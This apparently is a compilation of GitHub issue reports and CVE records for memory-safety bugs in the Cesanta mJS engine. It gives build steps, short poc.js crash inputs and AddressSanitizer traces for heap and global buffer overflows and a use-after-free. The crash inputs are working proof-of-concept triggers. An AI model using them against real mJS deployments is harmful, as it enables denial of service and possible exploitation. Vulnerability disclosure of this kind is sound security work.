###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (function () { ((function JSEtes(a) { if ((a - 1)) { if ((isNaN)(JSON.stringify([])) !== JSON.stringify("start_port" !== [Object.create.apply({}, [Object])])) { JSEtes(a - 1) } } })(6)) })() ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ================================================================= ==109503==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x607000000150 at pc 0x55d8ef005f6d bp 0x7ffe7d357b00 sp 0x7ffe7d357af0 READ of size 8 at 0x607000000150 thread T0 #0 0x55d8ef005f6c in mjs_array_length src/mjs_array.c:83 #1 0x55d8ef005f6c in mjs_array_push src/mjs_array.c:115 #2 0x55d8ef027dd8 in mjs_execute src/mjs_exec.c:679 #3 0x55d8ef034a05 in mjs_exec_internal src/mjs_exec.c:1073 #4 0x55d8ef034a05 in mjs_exec_file src/mjs_exec.c:1096 #5 0x55d8eeff1909 in main src/mjs_main.c:47 #6 0x7f6cb8331b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x55d8eeff2449 in _start (/usr/local/bin/Gmjs+0xe449) 0x607000000150 is located 0 bytes to the right of 80-byte region [0x607000000100,0x607000000150) allocated by thread T0 here: #0 0x7f6cb89e3d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28) #1 0x55d8ef0527be in gc_new_block src/mjs_gc.c:94 #2 0x55d8ef0527be in gc_alloc_cell src/mjs_gc.c:133 #3 0x55d8ef0527be in new_object src/mjs_gc.c:45 SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length Shadow bytes around the buggy address: 0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c0e7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa 0x0c0e7fff8010: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa =>0x0c0e7fff8020: 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa 0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```

Heap-buffer-overflow src/mjs_array.c:83 in mjs_array_length

https://api.github.com/repos/cesanta/mjs/issues/194/comments

2021-12-31T05:36:16Z

2021-12-31T05:36:16Z

https://github.com/cesanta/mjs/issues/194

CVE-2021-46520

2022-01-27T21:15:09.947

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via mjs_jprintf at src/mjs_util.c.

https://github.com/cesanta/mjs/issues/193

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript gc(JSON.stringify({ translate: [ Object.create ] })) ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ================================================================= ===ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x55ed154d746c bp 0x7ffdfe204f10 sp 0x7ffdfe204f00 READ of size 1 at 0x60b0000000ab thread T0 #0 0x55ed154d746b in mjs_jprintf src/mjs_util.c:61 #1 0x55ed154d746b in mjs_fprintf src/mjs_util.c:93 #2 0x55ed153d5f78 in main src/mjs_main.c:51 #3 0x7fb412720b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #4 0x55ed153d7449 in _start (/usr/local/bin/Gmjs+0xe449) 0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab) allocated by thread T0 here: #0 0x7fb412dd2f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x55ed154e8346 in mbuf_resize src/common/mbuf.c:50 SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf Shadow bytes around the buggy address: 0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 =>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa 00 00 0x0c167fff8020: 00 00 00 00 00 00 00 00 00 00 07 fa fa fa fa fa 0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ```

Heap-buffer-overflow src/mjs_util.c:61 in mjs_jprintf

https://api.github.com/repos/cesanta/mjs/issues/193/comments

2021-12-31T05:35:03Z

2021-12-31T05:35:03Z

https://github.com/cesanta/mjs/issues/193

CVE-2021-46521

2022-01-27T21:15:09.990

Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via c_vsnprintf at mjs/src/common/str_util.c.

https://github.com/cesanta/mjs/issues/190

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_CLANG=clang $(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (JSON.stringify([1, 2, 3]))((JSON.parse - 6. + 4321e2)([([JSON.parse(JSON.stringify([(0)]))])])); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ================================================================= ==61818==ERROR: AddressSanitizer: global-buffer-overflow on address 0x00000064c54a at pc 0x0000005ea260 bp 0x7fff3bbcc940 sp 0x7fff3bbcc938 WRITE of size 4 at 0x00000064c54a thread T0 #0 0x5ea25f in c_vsnprintf /root/mjs/src/common/str_util.c:180:14 #1 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5 #2 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11 #3 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11 #4 0x7f1016453b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9) 0x00000064c54a is located 54 bytes to the left of global variable '<string literal>' defined in 'src/mjs_util.c:125:7' (0x64c580) of size 15 '<string literal>' is ascii string 'src/mjs_util.c' 0x00000064c54b is located 0 bytes to the right of global variable '<string literal>' defined in 'src/mjs_util.c:120:30' (0x64c540) of size 11 '<string literal>' is ascii string ' %-3u %-8s' SUMMARY: AddressSanitizer: global-buffer-overflow /root/mjs/src/common/str_util.c:180:14 in c_vsnprintf Shadow bytes around the buggy address: 0x0000800c1850: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 0x0000800c1860: 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 0x0000800c1870: 06 f9 f9 f9 f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9 0x0000800c1880: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 0x0000800c1890: 00 02 f9 f9 f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 =>0x0000800c18a0: 00 04 f9 f9 f9 f9 f9 f9 00[03]f9 f9 f9 f9 f9 f9 0x0000800c18b0: 00 07 f9 f9 f9 f9 f9 f9 00 f9 f9 f9 f9 f9 f9 f9 0x0000800c18c0: 07 f9 f9 f9 f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9 0x0000800c18d0: 00 02 f9 f9 f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 0x0000800c18e0: 00 00 04 f9 f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9 0x0000800c18f0: 02 f9 f9 f9 f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==61818==ABORTING ``` Credits: Found by OWL337 team.

Global-buffer-overflow mjs/src/common/str_util.c:180:14 in c_vsnprintf

https://api.github.com/repos/cesanta/mjs/issues/190/comments

2021-12-31T05:25:14Z

2022-01-12T02:18:45Z

https://github.com/cesanta/mjs/issues/190

CVE-2021-46522

2022-01-27T21:15:10.033

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via /usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53.

https://github.com/cesanta/mjs/issues/196

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript function JSEtest(a) { let arr = ['prototype'.indexOf(JSON.stringify({ foo: [], bar: {} }, ['foo', 'bar', 'myProp']))]; if (a < 10) JSEtest(a + 1); } JSEtest(0); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000000ab at pc 0x7fabea0b7f54 bp 0x7ffdfc32c250 sp 0x7ffdfc32b9f8 READ of size 19 at 0x60b0000000ab thread T0 #0 0x7fabea0b7f53 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53) #1 0x55e0e1aa2ff6 in mg_strstr src/common/mg_str.c:154 #2 0x55e0e1a6c363 in mjs_string_index_of src/mjs_string.c:366 #3 0x55e0e19c5244 in mjs_execute src/mjs_exec.c:853 #4 0x55e0e19cea05 in mjs_exec_internal src/mjs_exec.c:1073 #5 0x55e0e19cea05 in mjs_exec_file src/mjs_exec.c:1096 #6 0x55e0e198b909 in main src/mjs_main.c:47 #7 0x7fabe9a34b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #8 0x55e0e198c449 in _start (/usr/local/bin/Gmjs+0xe449) 0x60b0000000ab is located 0 bytes to the right of 107-byte region [0x60b000000040,0x60b0000000ab) allocated by thread T0 here: #0 0x7fabea0e6f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x55e0e1a9d346 in mbuf_resize src/common/mbuf.c:50 SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53) Shadow bytes around the buggy address: 0x0c167fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c167fff8000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 =>0x0c167fff8010: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa fd fd 0x0c167fff8020: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa 0x0c167fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c167fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` Credits: Found by OWL337 team.

Heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xaff53)

https://api.github.com/repos/cesanta/mjs/issues/196/comments

2021-12-31T05:38:16Z

2022-01-12T02:19:08Z

https://github.com/cesanta/mjs/issues/196

CVE-2021-46523

2022-01-27T21:15:10.077

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via to_json_or_debug at mjs/src/mjs_json.c.

https://github.com/cesanta/mjs/issues/198

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build steps ```bash vim Makefile DOCKER_CLANG=clang $(DOCKER_CLANG) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (JSON.stringify([1, 2, 3]))((JSON.stringify - 6.5 - 321e2)(JSON.stringify([1, 2, 3]))); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ==122636==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61500000007f at pc 0x00000057b751 bp 0x7fff091bd080 sp 0x7fff091bd078 WRITE of size 1 at 0x61500000007f thread T0 #0 0x57b750 in to_json_or_debug /root/mjs/src/mjs_json.c:154:13 #1 0x55178f in mjs_exec_internal /root/mjs/src/mjs_exec.c:1073:5 #2 0x552d2d in mjs_exec_file /root/mjs/src/mjs_exec.c:1096:11 #3 0x5821d3 in main /root/mjs/src/mjs_main.c:47:11 #4 0x7f2516c85b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310 #5 0x41a2c9 in _start (/usr/local/bin/mjs+0x41a2c9) 0x61500000007f is located 1 bytes to the left of 472-byte region [0x615000000080,0x615000000258) allocated by thread T0 here: #0 0x4da3a8 in calloc (/usr/local/bin/mjs+0x4da3a8) #1 0x538c1a in mjs_create /root/mjs/src/mjs_core.c:74:21 #2 0x5817e1 in main /root/mjs/src/mjs_main.c:17:21 #3 0x7f2516c85b96 in __libc_start_main /build/glibc-2ORdQG/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-buffer-overflow /root/mjs/src/mjs_json.c:154:13 in to_json_or_debug Shadow bytes around the buggy address: 0x0c2a7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c2a7fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa[fa] 0x0c2a7fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff8020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff8030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c2a7fff8040: 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c2a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==122636==ABORTING ``` Credits: Found by OWL337 team.

Heap-buffer-overflow mjs/src/mjs_json.c:154:13 in to_json_or_debug

https://api.github.com/repos/cesanta/mjs/issues/198/comments

2021-12-31T05:40:39Z

2022-01-12T02:19:30Z

https://github.com/cesanta/mjs/issues/198

CVE-2021-46524

2022-01-27T21:15:10.117

Cesanta MJS v2.20.0 was discovered to contain a heap buffer overflow via snquote at mjs/src/mjs_json.c.

https://github.com/cesanta/mjs/issues/192

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (function() { ((function JSEtest(a Number) { if (a > 0) { gc((JSON.stringify(gc('#1.1: -0 - -0 === 0. Actual: '))) !== JSON.stringify('#1.1: -0 - -0 === 0. Actual: ' !== JSEtest(a - 1))) } })(6)) })() ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ================================================================= ==109655==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6110000004d6 at pc 0x559ce8d17a88 bp 0x7ffce13798c0 sp 0x7ffce13798b0 READ of size 1 at 0x6110000004d6 thread T0 #0 0x559ce8d17a87 in snquote src/mjs_json.c:81 #1 0x559ce8d17a87 in to_json_or_debug src/mjs_json.c:167 #2 0x559ce8d17a87 in mjs_json_stringify src/mjs_json.c:267 #3 0x559ce8d17a87 in mjs_op_json_stringify src/mjs_json.c:494 #4 0x559ce8cd2244 in mjs_execute src/mjs_exec.c:853 #5 0x559ce8cdba05 in mjs_exec_internal src/mjs_exec.c:1073 #6 0x559ce8cdba05 in mjs_exec_file src/mjs_exec.c:1096 #7 0x559ce8c98909 in main src/mjs_main.c:47 #8 0x7f97d5af7b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #9 0x559ce8c99449 in _start (/usr/local/bin/Gmjs+0xe449) 0x6110000004d6 is located 0 bytes to the right of 214-byte region [0x611000000400,0x6110000004d6) allocated by thread T0 here: #0 0x7f97d61a9f30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x559ce8daa346 in mbuf_resize src/common/mbuf.c:50 SUMMARY: AddressSanitizer: heap-buffer-overflow src/mjs_json.c:81 in snquote Shadow bytes around the buggy address: 0x0c227fff8040: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa 0x0c227fff8050: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c227fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c227fff8070: 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa fa 0x0c227fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c227fff8090: 00 00 00 00 00 00 00 00 00 00[06]fa fa fa fa fa 0x0c227fff80a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c227fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c227fff80c0: 00 04 fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==109655==ABORTING ```

Heap-buffer-overflow src/mjs_json.c:81 in snquote

https://api.github.com/repos/cesanta/mjs/issues/192/comments

2021-12-31T05:33:31Z

2021-12-31T05:33:31Z

https://github.com/cesanta/mjs/issues/192

CVE-2021-46525

2022-01-27T21:15:10.160

Cesanta MJS v2.20.0 was discovered to contain a heap-use-after-free via mjs_apply at src/mjs_exec.c.

https://github.com/cesanta/mjs/issues/199

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript function T(f) {} function JSEtest(b) { T.apply.apply(T.apply, []); if (b < 10) JSEtest(T.apply, []); } JSEtest(0); ``` </code></pre> </details> ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ================================================================= ======ERROR: AddressSanitizer: heap-use-after-free on address 0x6040000000f8 at pc 0x5590f9ee05d6 bp 0x7fff0f0dc5b0 sp 0x7fff0f0dc5a0 READ of size 8 at 0x6040000000f8 thread T0 #0 0x5590f9ee05d5 in mjs_apply src/mjs_exec.c:1156 #1 0x5590f9ee08d4 in mjs_apply_ src/mjs_exec.c:515 #2 0x5590f9ed4244 in mjs_execute src/mjs_exec.c:853 #3 0x5590f9edda05 in mjs_exec_internal src/mjs_exec.c:1073 #4 0x5590f9edda05 in mjs_exec_file src/mjs_exec.c:1096 #5 0x5590f9e9a909 in main src/mjs_main.c:47 #6 0x7f009363db96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #7 0x5590f9e9b449 in _start (/usr/local/bin/Gmjs+0xe449) 0x6040000000f8 is located 40 bytes inside of 48-byte region [0x6040000000d0,0x604000000100) freed by thread T0 here: #0 0x7f0093ceff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x5590f9facdf8 in mbuf_insert src/common/mbuf.c:90 previously allocated by thread T0 here: #0 0x7f0093ceff30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x5590f9facdf8 in mbuf_insert src/common/mbuf.c:90 SUMMARY: AddressSanitizer: heap-use-after-free src/mjs_exec.c:1156 in mjs_apply Shadow bytes around the buggy address: 0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff8000: fa fa fd fd fd fd fd fd fa fa 00 00 00 00 00 00 =>0x0c087fff8010: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd[fd] 0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ``` Credits: Found by OWL337 team.

Heap-use-after-free src/mjs_exec.c:1156 in mjs_apply

https://api.github.com/repos/cesanta/mjs/issues/199/comments

2021-12-31T05:41:58Z

2022-01-12T02:19:47Z

https://github.com/cesanta/mjs/issues/199

CVE-2021-46526

2022-01-27T21:15:10.207

Cesanta MJS v2.20.0 was discovered to contain a global buffer overflow via snquote at src/mjs_json.c.

https://github.com/cesanta/mjs/issues/191

github.com

###### mJS revision Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551) ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash vim Makefile DOCKER_GCC=gcc $(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG) # save the makefile then make make ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript (JSON.stringify([1, 2, 3]))((JSON.parse - 10900)(JSON.stringify([1, 2, 3]))); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./mjs/build/mjs poc.js ================================================================= ====ERROR: AddressSanitizer: global-buffer-overflow on address 0x5570a88f30e4 at pc 0x5570a8803a88 bp 0x7ffc63d95f40 sp 0x7ffc63d95f30 READ of size 1 at 0x5570a88f30e4 thread T0 #0 0x5570a8803a87 in snquote src/mjs_json.c:81 #1 0x5570a8803a87 in to_json_or_debug src/mjs_json.c:167 #2 0x5570a8803a87 in mjs_json_stringify src/mjs_json.c:267 #3 0x5570a8803a87 in mjs_op_json_stringify src/mjs_json.c:494 0x5570a88f30e4 is located 0 bytes to the right of global variable '*.LC1' defined in 'src/mjs_array.c' (0x5570a88f30e0) of size 4 '*.LC1' is ascii string '%lu' 0x5570a88f30e4 is located 60 bytes to the left of global variable '*.LC9' defined in 'src/mjs_array.c' (0x5570a88f3120) of size 5 '*.LC9' is ascii string 'this' SUMMARY: AddressSanitizer: global-buffer-overflow src/mjs_json.c:81 in snquote Shadow bytes around the buggy address: 0x0aae951165c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0aae951165d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0aae951165e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0aae951165f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0aae95116600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0aae95116610: 00 00 00 00 00 00 00 00 00 00 00 00[04]f9 f9 f9 0x0aae95116620: f9 f9 f9 f9 05 f9 f9 f9 f9 f9 f9 f9 01 f9 f9 f9 0x0aae95116630: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 00 04 f9 f9 0x0aae95116640: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00 0x0aae95116650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0aae95116660: 00 00 00 00 00 00 f9 f9 f9 f9 f9 f9 00 00 00 04 